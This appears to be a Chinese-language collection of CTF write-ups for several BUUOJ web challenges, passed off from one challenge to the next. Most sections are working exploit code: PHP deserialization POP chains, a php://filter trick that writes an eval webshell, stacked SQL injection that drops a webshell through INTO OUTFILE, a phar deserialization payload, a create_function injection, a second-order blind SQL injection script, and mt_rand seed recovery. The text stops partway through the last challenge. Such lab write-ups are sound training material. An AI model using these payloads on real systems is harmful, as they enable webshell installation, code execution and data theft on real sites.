102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
    public function update(){
$Info=unserialize($this->getNewinfo());
}
// 这里进入getNewinfo
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
// age和nickname可控,光靠这两个参数并没有触发点,但序列化的字符串会被safe函数处理,看看safe函数:
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
// 将目标字符串替换成hacker可以进行反序列化字符串逃逸
// 如果在创建的Info里给CtrlCase赋值为一个类UpdateHelper,析构方法destruct将成为触发点:
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
// 什么都不做结束,结束触发UpdateHelper的析构方法
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
// 析构方法可以触发User的魔术方法__toString:
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
// nickname变量可控在__toString中可触发Info的魔术方法__call,同时参数是User中的变量age,同样可控:
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
// CtrlCase可控,这里进入dbCtrl,由于传入的参数sql是之前的age变量,因此可以构造一个sql语句:
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
}

$a = new UpdateHelper();
$a->sql = new User();
$a->sql->age = 'select id,"'.md5("1").'" from user where username=?';
$a->sql->nickname = new Info();
$a->sql->nickname->CtrlCase = new dbCtrl();
$a->sql->nickname->CtrlCase->name = 'admin';
$a->sql->nickname->CtrlCase->password = '1';

$b = new Info();
$b->age = '1';
$b->nickname = 'escape';
$b->CtrlCase = $a;

echo serialize($b);

// 得到序列化字符串
// O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:6:"escape";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}

// 根据前面的分析,需要逃逸的部分:
// ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}
// 长度为465

打93个*即可,那就是

1
*********************************************************************************************";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}

url编个码:

POST:age=1&nickname=*********************************************************************************************%22%3Bs%3A8%3A%22CtrlCase%22%3BO%3A12%3A%22UpdateHelper%22%3A3%3A%7Bs%3A2%3A%22id%22%3BN%3Bs%3A7%3A%22newinfo%22%3BN%3Bs%3A3%3A%22sql%22%3BO%3A4%3A%22User%22%3A3%3A%7Bs%3A2%3A%22id%22%3BN%3Bs%3A3%3A%22age%22%3Bs%3A71%3A%22select+id%2C%22c4ca4238a0b923820dcc509a6f75849b%22+from+user+where+username%3D%3F%22%3Bs%3A8%3A%22nickname%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A3%3A%22age%22%3BN%3Bs%3A8%3A%22nickname%22%3BN%3Bs%3A8%3A%22CtrlCase%22%3BO%3A6%3A%22dbCtrl%22%3A8%3A%7Bs%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A6%3A%22dbuser%22%3Bs%3A4%3A%22root%22%3Bs%3A6%3A%22dbpass%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22database%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%221%22%3Bs%3A6%3A%22mysqli%22%3BN%3Bs%3A5%3A%22token%22%3BN%3B%7D%7D%7D%7D%7D

界面显示:

你还没有登陆呢!10-0

这个0-0是__toString返回的,说明反序列化触发成功了,

1
2
// 利用语句
$_SESSION['token']=$this->name;

已经成功写入该变量为admin,因此使用admin账户任意密码即可登入,跳转访问update.php界面即可判断并打印flag

[EIS 2019]EzPOP

代码审计,构造反序列化利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

传入之后,直接在析构函数触发save方法,前提是:

1
if(!$this->autosave)

直接赋值为0,取反为1即可通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// save方法中:
public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}
// 给store创建一个B对象则可以调用到B类的set方法,接着进入set方法查看
// 可以利用的漏洞:
$result = file_put_contents($filename, $data);
// 需要进行一个写马,filename的值是由传入的参数name经getCacheKey方法处理之后得到的,而name也就是类A里的属性key,属于可控变量,而getCacheKey方法里只是和另一个变量拼接了,不传入这个变量,直接在A的key给出文件名即可,那么文件名就完全可控,接着就是需要在内容写马,但data处先给了一个语句:
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
/*也就是说,直接写入,无论我们在后面怎么写都会因为前面的exit()函数而提前结束导致shell无法触发,于是就需要本题写shell的一个关键知识点了,php在进行base64解码时会自动忽略掉不在密码表中的字符,而file_put_contents函数在使用时就可以使用php伪协议进行base64解码过滤器,于是"<?php\n//"和"\n exit();?>\n"中可以不被解码器忽略掉的就只剩下了php//exit,9个字符,base64编码是四个一组的,因此需要补上3个无效字符,而sprintf('%012d', $expire)部分,$expire是由getExpireTime方法处理的,返回必定是int型,只要传入的数字不超过12,则该函数得到的字符串就必定为长度为12的数字字符串,恰好是3组base64编码*/
// 再往前看data是由传入的参数value经过serialize方法处理得到的,而serialize方法的处理是使用一个函数处理value并返回字符串型,函数名是$this->options['serialize'];,可控
$data = $this->serialize($value);
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}
// 再往前看value是
$contents = $this->getForStorage();

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}
// 那么最原始数据之一是$this->cache,可控,但处理后是变为了数组,array_flip是反转数组的键和对应值,接着对比其键值相同的部分并返回,虽然也可以在这里进行传入马的内容,但这里又要考虑前面的path也要进行转码,需要多考虑一步
//简单的办法就是直接$this->cache传入为空数组,匹配返回也为空数组,经过json_encode函数处理返回的字符串中可以被base64处理的就只有可控的$this->complete变量,直接在这里写好马即可,然而这里直接写就会被转义,考虑到后面会执行一个任意函数处理,这里再次使用base64编码,于是我们就编码了两次,第一次是将马进行编码,然后在前面加上三个会被base64处理的无意义字符,第二次再次整体编码,以避免转义,写作:
$a->complete = base64_encode("000".base64_encode('<?php @eval($_POST["a"]);?>'));
// 这样经第一次解码,得到000加上编码的shell,接着file_put_contents的php伪协议过滤器进行二次解码则可写入正常可用的马

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$expire = '/*';
var_dump(sprintf('%012d', $expire));
// error_reporting(0);
class A {

public $store;

public $key;

public $expire;
}
class B {

}

$a = new A('test');
$a->autosave = 0;
$a->cache = arrray();
$a->complete = base64_encode("000".base64_encode('<?php @eval($_POST["a"]);?>'));
$a->key = "php://filter/convert.base64-decode/resource=shell.php";
$a->expire = 0;


$a->store = new B();
$a->store->options['data_compress']=false;
$a->store->options['serialize']='base64_decode';
echo urlencode(serialize($a));

?>

根据我之前说的麻烦的办法同样可以:

1
2
3
// 不给$a->complete赋值
$a->cache['path'] = "".base64_encode("00".base64_encode('<?php @eval($_POST["a"]);?>'));
// 第一次解码有效部分为path,以及两次编码的马,加上后面的null,null暂且不论,path经过第一次解码后会变成两个无效符号和一个a,因此和第二次解码的有效部分拼起来,需要增加的无意义有效字符只需要加两个即可,因此编码加入00,同样写入

于是shell.php就是成功上传并且可以使用的马了,直接访问即可使用,可以curl,但弹不了shell,因为sh指向的是busybox,而非bash,直接读根目录下的flag就行

[SUCTF 2018]MultiSQL

进入,可以注册,进行一个注册,登录,上传没法使用,因为会强制改名,查看个人信息,发现有一个get方法的传入,?id=2

尝试注入,测试发现是数字型注入,测试盲注发现很多东西被过滤掉了,发现可以进行堆叠注入写文件,打开页面源码查看了头像位置在user../favicon/4.jpg,那就是在/var/www/html/favicon/,既然文件能上传到这里,说明是有上传权限的,尝试写到这里,使用常用的预编译进行绕过:

1
2
# 将语句编码成16进制
?id=1;set @a=0x73656c65637420223c3f706870206576616c28245f524551554553545b315d293b3f3e2220696e746f206f757466696c6520222f7661722f7777772f68746d6c2f66617669636f6e2f6d756875612e706870223b;prepare muhua from @a;execute muhua;

这样将文件写入后访问即可

/favicon/hua.php?1=phpinfo();
找到根目录下的WelL_Th1s_14_fl4g文件

[GXYCTF2019]BabysqliV3.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

仔细看看,存在file_get_contents,没过滤phar协议,根据出题人的思路应该是打phar反序列化,直接写一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Uploader{
public $cmd;
public $token;
}
$a = new Uploader();
$a->cmd = '@eval($_GET[1]);';
// $a->token = 'GXY48d39921ac1de0e0f12f8ee1f743ca3d';


$phar = new Phar("a.phar"); //以phar为后缀
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //phar文件格式,必须有这段才会识别为phar文件
$phar->setMetadata($a); //链
$phar->addFromString("exp.txt", "test"); //生成签名,内容无所谓
$phar->stopBuffering();

因为不知道$_SESSION['user'];,所以一开始先不赋值,因为有一下命名规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

以及:

1
echo "下面是你上传的文件:<br>".$uploader."<br>";

会把$_SESSION['user'];值作为文件名还会打印出来,因此,我们先上传一次就知道该值了,完事加上再次生成一个phar文件,由于phar协议读取时并不检测文件名字,只要文件内容是phar文件格式即可,因此,传上去之后,触发一下:

/home.php?file=upload&name=phar://uploads/06c9aa329b8c20a2cb35652cddf8230a/GXY48d39921ac1de0e0f12f8ee1f743ca3d.txt&1=phpinfo();
测试phpinfo可用,看了disable_function,几乎没有waf,直接system读取flag

[BJDCTF2020]EzPHP

打开界面写着flag不在这里,看页面源码,有一串编码:GFXEIM3YFZYGQ4A=,看着像base编码,使用工具fuzz工具解一下:1nD3x.php

访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

一堆trick知识

url编码绕过$_SERVER检测

换行符绕过正则

使用REQUEST方法既能接收到POST也能接收到GET方法,但POST方法优先级更高,在body部分传入一个同名的假参数

data协议打印debu_debu_aqua

data://text/plain,debu_debu_aqua;

数组绕过sha1函数的对照

利用extract函数和flag参数构造变量code和arg

最后的部分,对code变量的值检测是否为纯字母串,而对arg的检测为一些危险函数名和一些特殊字符,使用create_function注入,create_function本身是自定义匿名函数的,但可以使用}进行闭合,同时注释掉后面的代码,从而在}和注释符之间执行任意代码,形如:

1
2
3
$code = $_GET['a'];

create_function('',$code);

此时get方法传入a=}phpinfo();//即可显示phpinfo界面

那么此时在本题中可利用的函数就是var_dump和get_defined_vars函数,因为已经包含了flag.php,所以直接这样读取所有变量,但显示flag在rea1fl4g.php,使用require结合php伪协议即可获取到该文件,对code的值有检测,使用取反绕过

最终payload:

1
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

[网鼎杯2018]Unfinish

注册之后登录,可以看到用户名,经典的二次注入问题,在注册处过滤了information和逗号,无法使用if方法或者和报错,感觉可以使用另外几个表查,但注册处根本提交不上去

总之句式很简单,就是先读取,然后截取字符串,然后ascii编码,然后和两个0相加用于闭合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import re
import time

url='http://da7de2c2-36ca-43ad-8c49-2434b0923a62.node4.buuoj.cn:81'

flag=''

for i in range(0,100):
if i%8 == 0:
time.sleep(3)
register={
"email":"0@{}".format(i),
"username":"0'+ord(substr((select*from flag)from {} for 1))+'0".format(i+1),
"password":"1"
}
login={
"email":"0@{}".format(i),
"password":"1"
}
# print(register)
requests.post(url=url+'/register.php',data=register)
re2 = requests.post(url=url+'/login.php',data=login)
str1 = re.findall('user-name"\>\s (.*?) \<',re2.text)
# print(re2.text)
# print(str1)
cal = str1[0][0:3]
# print(cal)
flag += chr(int(cal))
print(flag)
if(chr(int(cal))=='}'):
break
print(flag)

buu要睡一下,不然就402了,写脚本时发现匹配还是不太熟练,比如\s匹配空白符用于匹配换行符,加括号就只包含到匹配的字符

文章Python re.findall中正则表达式(.*?)和参数re.S使用

[GXYCTF2019]StrongestMind

需要开Session保证计数累计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
import time

url='http://92ac318a-ed0e-4c19-a831-36f79ad0fe17.node4.buuoj.cn:81/'

flag=''
ks = requests.Session()
re1 = ks.post(url=url)
str1 = re.findall('<br><br>(.*?)<br><br><form',re1.text)
cal = str1[0][0:20]
print(cal)
x = eval(cal)
print(x)


for i in range(1,1002):
if i%8 == 0:
time.sleep(3)
data={
"answer":x,
}
re2 = ks.post(url=url,data=data)
re2.encoding='utf-8'

# print(re2.text)
# print(str1)
print(i)
print(re2.text)
if 'flag' in re2.text:
break

str1 = re.findall('呦<br><br>(.*?)<br><br><form',re2.text)
cal1 = str1[0][0:20]
print(cal1)
x = eval(cal1)
print(x)
print(re2.text)

第1001次访问界面即可获取flag,(buu不许跑太快,所以sleep一下)

[MRCTF2020]Ezaudit

题目叫简单的审计,于是直接www.zip泄露出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

能进行一个注入,但需要验证密钥

看下面的代码生成逻辑是使用mt_rand生成随机数,先是生成了一个公钥,再生成了密钥,并且在最后给出了公钥,要得到密钥就需要知道随机数种子,使用一个爆破工具获取

工具下载地址

将下载的压缩包解压并且进入文件夹:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> tar -zxvf php_mt_seed-4.0.tar.gz                                         
php_mt_seed-4.0/
php_mt_seed-4.0/Makefile
php_mt_seed-4.0/README
php_mt_seed-4.0/php_mt_seed.c

#make 直接编译c文件
> make
> time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 161.2 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x68000000 - 0x69ffffff, speed 10.6 Mseeds/s
seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0xfe000000 - 0xffffffff, speed 10.2 Mseeds/s
Found 1

数字序列是用公钥得到的:

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'

length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

使用php7.0.x版本进行代码执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mt_srand(1775196155);

function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
// echo mt_rand(0, strlen($strings1) - 1)." ";
// echo mt_rand() % (strlen($strings1) - 1)." ";
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
// echo mt_rand(0, strlen($strings2) - 1)." ";
// echo mt_rand()." ";
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
